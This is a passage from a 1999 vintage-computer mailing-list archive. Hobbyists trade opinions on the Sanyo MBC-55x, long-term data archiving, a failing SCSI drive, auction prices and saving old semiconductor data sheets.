ecliptic. This device has only one mission which is to act as a regenerating receiver, regenerate the digital signal it receives, add new ECC codes and resend it straight back where it came from. Every year the "loop" would have the ability to carry more information. We would probably want it to be nuclear powered as that would help with longevity. --Chuck From ard at p850ug1.demon.co.uk Mon Jan 18 15:07:48 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:16 2005 Subject: TK50Z-GA EPROM In-Reply-To: <802566FD.0065A143.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 18, 99 06:34:47 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 588 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/e5723024/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 15:09:52 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:16 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901182010.PAA77361@pechter.nws.net> from "Bill Pechter" at Jan 18, 99 03:10:00 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 412 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/9da225a6/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 15:14:05 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:16 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: from "Don Maslin" at Jan 18, 99 12:14:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 896 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/1ae34fcc/attachment.ksh From rhblake at bigfoot.com Mon Jan 18 16:01:47 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:16 2005 Subject: Famous quotes(4 drives on a PC) (was:: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)) References: <199901181441.JAA27729@user2.infinet.com> Message-ID: <36A3AF4A.41CA28FB@bigfoot.com> Ethan Dicks wrote: > I recently helped a friend with a floppy problem. His broke so > he bought a new one from CompUSA. It didn't work. Two other > geeks looked at it before me with no success. I tried to read > a floppy, noticed the errors and lights, etc. then pulled the drive, > found the slide switch on the side and changed it from 0 to 1. > > Don't assume drives are set to unit 1 at the factory. Same as don't assume that a hard drive is set to single drive on system either. I've had brand new ones set as master, slave and even factory test. From rhblake at bigfoot.com Mon Jan 18 16:05:50 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:16 2005 Subject: IBM Floppy(was:Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)) References: "Max Eskin" "Re: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)" (Jan 15, 19:35) <199901181431.OAA05323@nixpbe.pdb.sni.de> Message-ID: <36A3B03D.1CCAF8EF@bigfoot.com> Hans Franke wrote: > > Actually, you can have 4, if you have a controller at the secordary floppy > > controller address as well as at the primaryfloppy controller address. > > Each controller can only have two drives because of a silly hardware setup > > chosen by IBM. > > But soon after that, Hardwarepatches (and BIOS versions) where available > to connect again 4 Drives to a PC with one controller (Or if you don't want > to modify, buy a third party solution). I have still 4 FD drives on my > PC-XT via one FD controller. Sanyo MBC-55x-2 series had a 4 floppy controller but DOS saw only A: and B: and it's hacked DOS used it quite well. The bum end of it was that RAM disks and hard drives went to E: by defualt. An aftermarket DOS (name escapes me now) made use of them and even pushed the hard drive drive (if equipped) to C: and routed the others around rather than trying the tricky "assign" command to do this.That was the only real nice thing about that silver piece of human waste. Who would have thought a PC level machine would have no ALT key? From jax at tvec.net Mon Jan 18 16:14:23 1999 From: jax at tvec.net (jax) Date: Sun Feb 27 18:40:16 2005 Subject: Surgery of HP RC3009 hard drive. In-Reply-To: <199901181703.RAA08248@nixpbe.pdb.sni.de> References: <199901151030.KAA15220@nixpbe.pdb.sni.de> Message-ID: <3.0.6.32.19990118161423.00793e80@pop.tvec.net> hello all, FNG again.... Have received a HP RC3009 scsi-2 hard drive out of a older Dell server that is " kaput ". Yes, this model is NOT a classic (only 5 yrs old I think), so this is off-topic, my apologies to everyone and ask that those that can help contact me directly. Symptoms: Recognised and identified by scsi bus start up interegation proceedure on my machine (Adaptec controller). Drive spins up and seeks. Returns "no logical drives". Drive was displaying intermintant failures of this nature and the maintance people tried a low-level format which failed. Diagnosis: Failure of read head mechanism (possibly repairable) or failure of related controller circuitry ( paper weight time ! ) Anyone know where I can get info on this model ? jax@tvec.net From rhblake at bigfoot.com Mon Jan 18 16:13:56 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:16 2005 Subject: more auction silliness... References: <2d859317.36a3495c@aol.com> Message-ID: <36A3B223.44506551@bigfoot.com> Heck I'd be happy to see $50 for the same item. I've sold four of these for $25 to $30 in the last three months, complete with hard drive. SUPRDAVE@aol.com wrote: > http://www.haggle.com/cgi/getitem.cgi?id=201894731 > > shows some induhvidual selling some IBM family one machine, most likely a 5150 > pc with a minimum bid of $500. Gee, i wonder if he'd buy my 'rare' 5140 for > that price... lol. From cmcmanis at freegate.com Mon Jan 18 16:21:38 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:16 2005 Subject: Vax available (kind of) Message-ID: <4.1.19990118141758.00a90ce0@mailhost.hq.freegate.com> More information on the VAX 6000 at Bermans in California (408) 955-7908 This is a VAX 6000/330, sitting next to it is a TU81 Plus tape drive mounted above an RA-82. All in the "low" grey/white DEC cabinets (two cabinets total). Sitting on top of the TU81Plus are two boxes, one marked VAXStation 4000 - 60 and one marked BA42A, the latter has a SCSI connector so I presume it is the disk for the VAXstation. They are _not_ in this week's auction so I don't know what happened there. If you're interested call them, not me :-) --Chuck From marvin at rain.org Mon Jan 18 16:20:03 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:16 2005 Subject: Intel MCS-96 Design Kit References: <199901181409.OAA04863@nixpbe.pdb.sni.de> Message-ID: <36A3B393.1915DB1@rain.org> Hans Franke wrote: > > Its a development kit for the MCS96 series of CPU a hig integrated > controller type CPU family - think of it like a mutant crossbreed > of a 8051 and a 80386sx - fast, and realy interesting to programm. I took a look at a piece of the sales literature, and it was dated 1984. Are these things still used? > Hey, Marvin, If you don't like this beast, I spend my time in > helping orphaned singleboarders :) Well actually, this kit consists only of the chips and sales literature; the data sheets have been removed although they might be in a batch of other data sheets I picked up (I hope!) From bill at chipware.com Mon Jan 18 16:43:55 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <36A3B03D.1CCAF8EF@bigfoot.com> Message-ID: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> Russ Blakeman [rhblake@bigfoot.com] wrote: > Sanyo MBC-55x-2 series had a 4 floppy controller but DOS saw only > A: and B: and it's hacked DOS used it quite well. The bum end of > it was that RAM disks and hard drives went to E: by defualt. An > aftermarket DOS (name escapes me now) made use of them and even > pushed the hard drive drive (if equipped) to C: and routed the > others around rather than trying the tricky "assign" command to > do this. That was the only real nice thing about that silver piece > of human waste. Who would have thought a PC level machine would > have no ALT key? Come on now, what you don't seem to remember is that it was less than half as expensive as any other similar machine at the time. And no, I'm not prejudiced because I wrote the Byte magazine review of it. :) It's a great hackers machine because almost nothing is in ROM and with a little hardware hacking it could be made pretty close to an IBM PC in terms of compatibility and a heck of a lot faster. Bill Sudbrink From bill at chipware.com Mon Jan 18 16:45:04 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:16 2005 Subject: more auction silliness... In-Reply-To: <36A3B223.44506551@bigfoot.com> Message-ID: <001001be4334$30af2e60$bb88e9cf@yamato.chipware.com> Well, I see my Ohio Scientific collection is going to start increasing in value... A C-1P for $405 US!?!? I'M RICH! I'M RICH! I'M FABULOUSLY WEALTHY! (Doing my best Daffy Duck impression) Bill Sudbrink From donm at cts.com Mon Jan 18 16:50:57 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:16 2005 Subject: Surgery of HP RC3009 hard drive. In-Reply-To: <3.0.6.32.19990118161423.00793e80@pop.tvec.net> Message-ID: On Mon, 18 Jan 1999, jax wrote: > hello all, FNG again.... > > Have received a HP RC3009 scsi-2 hard drive out of a older Dell server that > is " kaput ". > > Yes, this model is NOT a classic (only 5 yrs old I think), so this is > off-topic, my apologies to everyone and ask that those that can help > contact me directly. > > Symptoms: > > Recognised and identified by scsi bus start up interegation proceedure on > my machine (Adaptec controller). > > Drive spins up and seeks. > > Returns "no logical drives". What does FDISK tell you about partitions? - don > Drive was displaying intermintant failures of this nature and the maintance > people tried a low-level format which failed. > > > > Diagnosis: > > Failure of read head mechanism (possibly repairable) or failure of related > controller circuitry ( paper weight time ! ) > > > > > Anyone know where I can get info on this model ? > > > > > jax@tvec.net > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From jim at calico.litterbox.com Mon Jan 18 16:51:38 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery In-Reply-To: from "Tony Duell" at Jan 18, 1999 06:58:59 PM Message-ID: <199901182251.PAA11070@calico.litterbox.com> Oh GEEZ Tony, that's terrible! :) > > > > > But where can you find a drive that can read a sheep? > > You mean you've not come across baa-code readers :-) > > -tony > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From jim at calico.litterbox.com Mon Jan 18 16:58:51 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:16 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: from "Tony Duell" at Jan 18, 1999 09:14:05 PM Message-ID: <199901182258.PAA11136@calico.litterbox.com> A recent program on Stonehenge on the Discovery channel said the RAF wanted to level Stonehenge with explosives, but the person who owned the land they were on refused to let them. *boggle* Is it just me, or does all this suggest that in the 1930s and early 40s good maps were much harder to come by than today? I know the advent of satelite mapping has improved it, but you'd think anyone planning to invade England would have gone there in 1938 and just BOUGHT maps. > I've never heard that one. Plenty of things like that were done in WW2, > mostly to impress upon the public that 'there's a war on'. > > Both my parents (who lived through the war) assure me that Stonehenge was > not moved, laid flat, or anything else in the war. > > Of course some things (stained glass windows, for example) were moved to > protect them in the event of bombing. > > Anyway, stones lying flat in a field would also be a good landmark IMHO. > Possibly even more visible. > > -tony > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From doug at blinkenlights.com Mon Jan 18 17:09:25 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> Message-ID: On Mon, 18 Jan 1999, Bill Sudbrink wrote: > Come on now, what you don't seem to remember is that it was less than > half as expensive as any other similar machine at the time. And no, > I'm not prejudiced because I wrote the Byte magazine review of it. :) > It's a great hackers machine because almost nothing is in ROM and with > a little hardware hacking it could be made pretty close to an IBM PC > in terms of compatibility and a heck of a lot faster. Faster? Are we talking about the same machine? The Sanyo had to be the only clone that ever took IBM's pokey 4.77Mz clock and *reduced* it to 3.58MHz! -- Doug From marvin at rain.org Mon Jan 18 17:09:50 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:16 2005 Subject: Early Data Sheets References: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> Message-ID: <36A3BF3E.B8545FD@rain.org> I am just curious if anyone else is keeping semiconductor data sheets and data books from the early days? In checking though some stuff that was going to the recycler, I found a bunch of 70s and early 80s data sheets and put them into the car. Additionally, there were a bunch of the early 80s Intel data books that I will be looking at later. Another very interesting find in that file cabinet were some OSI data sheets and their publication entitled "OSI Challenger, System Prospectus" along with an OSI order form. Another folder was full of floppy disk information including Shugart and GSI Tech manuals. There were also three Northstar Manuals: Northstar Micro-Disk System MDS-A, The Northstar Disk Operating System Version 2, and Northstar BASIC Version 6 Version 6-FPB (no software, just manuals.) Another folder had a bunch of TI data sheets, etc. covering the Silent 700 series of printer/modems. Just as a heads up, if you know of someone who has passed away that was involved in the early computer stuff, try HARD to get to their file cabinets as it will most likely be FULL of fascinating information! It is most likely one of the first things that will hit the dumpster or recycler. I'm not sure that this information is particularly valuable from a monetary standpoint, but it is extremely valuable from a historical standpoint. In this case, I was able to save some of it, but a bunch of stuff (early Poptronics, etc.) had already been recycled. From mark_k at iname.com Mon Jan 18 17:04:50 1999 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery Message-ID: On 18 Jan 1999 Eric Smith wrote: >Note that there are three important considerations to long-term data storage: >... >2) A suitable mechanism for the data recovery has to exist, or be > constructed. Sufficient technical specifications of the media format > has to be preserved to allow the preservation or construction of the > mechanism. >... >The second consideration may actually require the use of media that is not >optimal for the first consideration. For instance, other forms of optical >WORM discs might have better longevity than CDR, but the technical >specifications are not as readily available. Full description of the media is available, at least for several "standard" types of WORM disk; see e.g. http://www.ecma.ch/ -- Mark From ard at p850ug1.demon.co.uk Mon Jan 18 16:08:18 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery In-Reply-To: <36A3A3F1.5D9F66FA@cnct.com> from "Ward Donald Griffiths III" at Jan 18, 99 04:13:21 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1180 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/91c83e51/attachment.ksh From rhblake at bigfoot.com Mon Jan 18 17:21:47 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) References: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> Message-ID: <36A3C20A.76FD358C@bigfoot.com> Bill Sudbrink wrote: > Russ Blakeman [rhblake@bigfoot.com] wrote: > > > Sanyo MBC-55x-2 series had a 4 floppy controller but DOS saw only > > A: and B: and it's hacked DOS used it quite well. The bum end of > > it was that RAM disks and hard drives went to E: by defualt. An > > aftermarket DOS (name escapes me now) made use of them and even > > pushed the hard drive drive (if equipped) to C: and routed the > > others around rather than trying the tricky "assign" command to > > do this. That was the only real nice thing about that silver piece > > of human waste. Who would have thought a PC level machine would > > have no ALT key? > > Come on now, what you don't seem to remember is that it was less than > half as expensive as any other similar machine at the time. And no, > I'm not prejudiced because I wrote the Byte magazine review of it. :) > It's a great hackers machine because almost nothing is in ROM and with > a little hardware hacking it could be made pretty close to an IBM PC > in terms of compatibility and a heck of a lot faster. > > Bill Sudbrink Half priced because it was essentially a half done machine. No decent docs, no support. I figure Sanyo made out great on that one. I did lose interest in it really quick when Soft Sector Mag died one day without notice though. You're right though - you couldn't do anything without some sort of hack, to include the power supply not being triggered for more than just 2 floppies and 640k memory. Put anything more in it like a video board with memory and it would go into eternal reset/restart until you pulled the board. Lots of fun with that wonderful 8251 UART too. I did however like the keyboard mounted reset since it was in use almost more than the enter key. faster than a PC? The PC was the same on Norton SI until I added a V20 to both and the Sanyo came out fractionally ahead. The only faster part was disk access, they did do that right. Of course Sanyo had no slots for cards to slow it down with either so their wonder-bus made it very expensive to add a hard drive until the big dump of machines when all the dealer, magazine, BBS and software support died. I had a lot of money tied up in mine but I did learn a lot about what a PC or XT does since I had to try and make the Sanyo do that. From DSEAGRAV at toad.xkl.com Mon Jan 18 17:24:39 1999 From: DSEAGRAV at toad.xkl.com (Daniel A. Seagraves) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery In-Reply-To: <199901182251.PAA11070@calico.litterbox.com> Message-ID: <13420979934.14.DSEAGRAV@toad.xkl.com> [baa-code] *facefault* That SUCKED! That has to be the WORST pun I've heard to date... ------- From rhblake at bigfoot.com Mon Jan 18 17:23:58 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) References: Message-ID: <36A3C28D.246F2FD@bigfoot.com> Doug wrote: > On Mon, 18 Jan 1999, Bill Sudbrink wrote: > > > Come on now, what you don't seem to remember is that it was less than > > half as expensive as any other similar machine at the time. And no, > > I'm not prejudiced because I wrote the Byte magazine review of it. :) > > It's a great hackers machine because almost nothing is in ROM and with > > a little hardware hacking it could be made pretty close to an IBM PC > > in terms of compatibility and a heck of a lot faster. > > Faster? Are we talking about the same machine? The Sanyo had to be the > only clone that ever took IBM's pokey 4.77Mz clock and *reduced* it to > 3.58MHz! Mine was faster, after I dumped a $25 (then) NEC V20 into it while the PC stayed with it's original processor. From bill at chipware.com Mon Jan 18 17:37:44 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: Message-ID: <001101be433b$8bfa7110$bb88e9cf@yamato.chipware.com> > > Come on now, what you don't seem to remember is that it was less than > > half as expensive as any other similar machine at the time. And no, > > I'm not prejudiced because I wrote the Byte magazine review of it. :) > > It's a great hackers machine because almost nothing is in ROM and with > > a little hardware hacking it could be made pretty close to an IBM PC > > in terms of compatibility and a heck of a lot faster. > > Faster? Are we talking about the same machine? The Sanyo had to be the > only clone that ever took IBM's pokey 4.77Mz clock and *reduced* it to > 3.58MHz! I did say with a little hardware hacking. You could OC it to 7.16 with a V20. From gram at cnct.com Mon Jan 18 17:52:50 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:16 2005 Subject: 100 year archiving References: Message-ID: <36A3C952.457A24F@cnct.com> John Lawson wrote: > > Without going into a lot of extraneous detail.. I am on several > comittees and groups etc., involved in the restoration and > preservation of films, sound tracks, and video media. > > All the high-techsolutions notwithstanding, one of the long-term > archival methods is still an optically-recorded signal on stablized > mylar or estar-based photographic film of some kind. With the > proper care in processing the film life is forcast to be in excess > of 500 years, and all that is required to 'read' it is a light > source and a photo-responsive device.. plus the algorithms to > recover the intelligence from the data stream. In the case of > purely analog info, an audio amp, speaker, (and knowing the > language) are the only recovery criteria. Data is a little more > complex, but hopefully in 2100 somebody will be able to translate. > > Unless we've managed to reduce ourselves to cave-man status once again. Well, we've never managed to reduce ourselves to cave-man status since that condition was left, unless you count folks building underground homes for ease of climate-control. Contrary to popular imagination, there was no loss of technology from the fall of the Roman Empire and "Atlantis" was a result of poor records of a non-existant Golden Age before the Cretan civilization was wasted by a volcano -- after all, if times are hard Grandpa always says "in my grandpather's day ...", but if times are good he says "why, when I was a kid we had to ...". Legends build from there. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From mwp at acm.org Mon Jan 18 17:12:32 1999 From: mwp at acm.org (MICHAEL W PASSER) Date: Sun Feb 27 18:40:16 2005 Subject: Visual Technology Commuter "portable" Message-ID: <000401be433e$d1444c20$0180a8c0@zeus> My brother-in-law has found a Visual Technology Commuter "portable" at a local thrift. It's operational and runs PC-DOS 3.10, for which its previous owner thoughtfully included a boot diskette. This machine has an LCD display, and two 1/2 height black face 5.25" floppy drives and 512K of RAM. Despite a diligent internet search, this is all we know. Does anyone here have any fond memories and/or pointers to more information on this machine? Thanks! Michael Passer mwp@acm.org From dastar at ncal.verio.com Mon Jan 18 18:19:49 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery In-Reply-To: Message-ID: On Mon, 18 Jan 1999, Tony Duell wrote: > > We're talking 100 years here. Computers didn't even exist in 1899, and > > now you can wear one on a ring. I think aligning a 1999 hard drive, a > > physical item that is still very visible by the naked eye, will be among > > the more mundane tasks in 2099. > > Do you think it's a trivial mundane task to make a part for a 100 year > old watch or a 50 year old camera? What about a mechanical calculating > machine. Your (and Eric's) point is well taken. I guess I'm just an optimist, thinking that 100 years from now we'll be living in a society like in Star Trek: The Next Generation, where you just ask the computer a question and it (usually) has all the answers. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From rcini at msn.com Mon Jan 18 18:13:16 1999 From: rcini at msn.com (Richard A. Cini, Jr.) Date: Sun Feb 27 18:40:16 2005 Subject: Apple II FAQ location? Message-ID: <002c01be4342$9c018380$e0e5fea9@mainoffice> Now that Nathan Mates is no longer maintaining the Apple II FAQ, who is? I just wanted to update the local copies of some of my FAQs. Actually, doesn't MIT act as a master archive? Anyone have that URL? Thanks! [ Rich Cini/WUGNET [ ClubWin!/CW7 [ MCP Windows 95/Windows Networking [ Collector of "classic" computers [ http://highgate.comm.sfu.ca/~rcini/classiccmp/ [ http://highgate.comm.sfu.ca/~rcini/pdp11/ <================ reply separator =================> From dastar at ncal.verio.com Mon Jan 18 18:27:57 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery In-Reply-To: <36A3A3F1.5D9F66FA@cnct.com> Message-ID: On Mon, 18 Jan 1999, Ward Donald Griffiths III wrote: > Schematics. Source code. Drawings. Any other available technical > info. _Printed_ on acid-free paper (hemp is best). From proper Hemp? Dangerous suggestion for one of two reasons: By that time pot (hemp) will either be so illegal that a) the gubment will confiscate the paper as soon as its unearthed and burn it or b) some futuristic pot-head capsule looters will raid it so they can smoke the documentation. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From ckaiser at oa.ptloma.edu Mon Jan 18 18:33:49 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:16 2005 Subject: Apple II FAQ location? In-Reply-To: <002c01be4342$9c018380$e0e5fea9@mainoffice> from "Richard A. Cini, Jr." at Jan 18, 99 07:13:16 pm Message-ID: <199901190033.QAA11956@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 688 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/5b7acfa0/attachment.ksh From rigdonj at intellistar.net Mon Jan 18 20:06:08 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <001101be433b$8bfa7110$bb88e9cf@yamato.chipware.com> References: Message-ID: <3.0.1.16.19990118200608.3a9795f8@intellistar.net> At 06:37 PM 1/18/99 -0500, you wrote: >> > Come on now, what you don't seem to remember is that it was less than >> > half as expensive as any other similar machine at the time. And no, >> > I'm not prejudiced because I wrote the Byte magazine review of it. :) >> > It's a great hackers machine because almost nothing is in ROM and with >> > a little hardware hacking it could be made pretty close to an IBM PC >> > in terms of compatibility and a heck of a lot faster. >> >> Faster? Are we talking about the same machine? The Sanyo had to be the >> only clone that ever took IBM's pokey 4.77Mz clock and *reduced* it to >> 3.58MHz! > >I did say with a little hardware hacking. You could OC it to 7.16 with a >V20. MAYBE but you still didn't have anything! I owned a 550 and used it for years. It was a piece of crap!!!! Very poor compatablity, kludged video system, slow, only one expansion socket (undocumented) and the "IBM compatible" video card used it up, WEAK power supply, no memory expansion beyond 256K, the DOS was full of bugs, VERY VERY POOR documentation (except for the Star Programs that came with it). The Sanyo had to be the >> only clone that ever took IBM's pokey 4.77Mz clock and *reduced* it to >> 3.58MHz! Yeah, but using TV crystals probably saved Sanyo at least $.05 per unit! Joe From rigdonj at intellistar.net Mon Jan 18 20:10:48 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> References: <36A3B03D.1CCAF8EF@bigfoot.com> Message-ID: <3.0.1.16.19990118201048.3a974b18@intellistar.net> At 05:43 PM 1/18/99 -0500, you wrote: >Russ Blakeman [rhblake@bigfoot.com] wrote: > >> Sanyo MBC-55x-2 series had a 4 floppy controller but DOS saw only >> A: and B: and it's hacked DOS used it quite well. The bum end of >> it was that RAM disks and hard drives went to E: by defualt. An >> aftermarket DOS (name escapes me now) DS-DOS by Michtron. I bought it. It was the buggiest piece of software that I ever had the DIS-pleasure of owning! DS-DOS would let you use 80 track 5 1/4" drives in the Sanyo and put 10 sectors on them. =800K per disk. Joe From rigdonj at intellistar.net Mon Jan 18 20:14:58 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: References: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> Message-ID: <3.0.1.16.19990118201458.2f0fe060@intellistar.net> I nominate the Sanyo 550 series computers as THE worst computer ever sold in the US! I also nominate the Sanyo 550 computers has having THE worst documentation of any computer ever sold in the US! Any seconds? Joe From rigdonj at intellistar.net Mon Jan 18 20:20:57 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: Early Data Sheets In-Reply-To: <36A3BF3E.B8545FD@rain.org> References: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> Message-ID: <3.0.1.16.19990118202057.3e9f8f32@intellistar.net> At 03:09 PM 1/18/99 -0800, you wrote: >I am just curious if anyone else is keeping semiconductor data sheets and >data books from the early days? Are you kidding!! I have rooms full of that stuff! I expect everyone on the list does. If they don't, they should! I grab eveythign like that that I can get. If I don't want it, I post it to the list (example; Z80,000 Tech reference and Vax 11 Assembly manual that I just listed here and gave away). > There were also three Northstar Manuals: Northstar Micro-Disk >System MDS-A, The Northstar Disk Operating System Version 2, and Northstar >BASIC Version 6 Version 6-FPB (no software, just manuals.) I have exactly the same books but haven't been able to get the SW yet. BTW for you legal nuts, the book is the license and having it entitles you to have the SW. Joe From rigdonj at intellistar.net Mon Jan 18 20:29:33 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (I'm one!!!!) In-Reply-To: <36A3C20A.76FD358C@bigfoot.com> References: <000f01be4334$07828ff0$bb88e9cf@yamato.chipware.com> Message-ID: <3.0.1.16.19990118202933.3e9fdda4@intellistar.net> At 05:21 PM 1/18/99 -0600, you wrote: >Bill Sudbrink wrote: > >> Russ Blakeman [rhblake@bigfoot.com] wrote: >> >> > Sanyo MBC-55x-2 series had a 4 floppy controller but DOS saw only >> > A: and B: and it's hacked DOS used it quite well. The bum end of >> > it was that RAM disks and hard drives went to E: by defualt. An >> > aftermarket DOS (name escapes me now) made use of them and even >> > pushed the hard drive drive (if equipped) to C: and routed the >> > others around rather than trying the tricky "assign" command to >> > do this. That was the only real nice thing about that silver piece >> > of human waste. Who would have thought a PC level machine would >> > have no ALT key? >> >> Come on now, what you don't seem to remember is that it was less than >> half as expensive as any other similar machine at the time. Only because >THE< IBM PC was the only other "similar" machine on the market at the time! Even so, it was a poor bargain! BTW one reason the Sanyo was the first (choke!) "compatible" machine on the market and the reason that it had so many compatiblity problems was that it was designed as a CPM machine and converted to MS-DOS at the last moment. And no, >> I'm not prejudiced because I wrote the Byte magazine review of it. :) Then I would like to wring your neck! I bought my 550 based on your glowing report. You completely brushed over the compatibility and other problems. Crap like that is the reason that I quit reading Byte. They never told the truth about the SW and HW they were testing. Joe From rigdonj at intellistar.net Mon Jan 18 20:33:49 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 55x detractors (was:RE: IBM Floppy...) In-Reply-To: <36A3C28D.246F2FD@bigfoot.com> References: Message-ID: <3.0.1.16.19990118203349.3e9fc586@intellistar.net> At 05:23 PM 1/18/99 -0600, you wrote: >> Faster? Are we talking about the same machine? The Sanyo had to be the >> only clone that ever took IBM's pokey 4.77Mz clock and *reduced* it to >> 3.58MHz! > >Mine was faster, after I dumped a $25 (then) NEC V20 into it while the PC >stayed with it's original processor. SI reported .7 on my 550 compared to 1 on a PC. With the V20 the 550 reported .8 to .9 . The PC reported ~1.2 to 1.3 with a V20. Even with a V20 the Sanyo was still slower than the stock PC! Joe From rigdonj at intellistar.net Mon Jan 18 20:38:46 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:16 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: <199901182258.PAA11136@calico.litterbox.com> References: Message-ID: <3.0.1.16.19990118203846.3e9f6ff6@intellistar.net> At 03:58 PM 1/18/99 -0700, you wrote: >A recent program on Stonehenge on the Discovery channel said the RAF wanted to >level Stonehenge with explosives, but the person who owned the land they were >on refused to let them. *boggle* Is it just me, or does all this suggest >that in the 1930s and early 40s good maps were much harder to come by than >today? I know the advent of satelite mapping has improved it, but you'd think >anyone planning to invade England would have gone there in 1938 and just >BOUGHT maps. > The problem wasn't the maps, it was the fact that 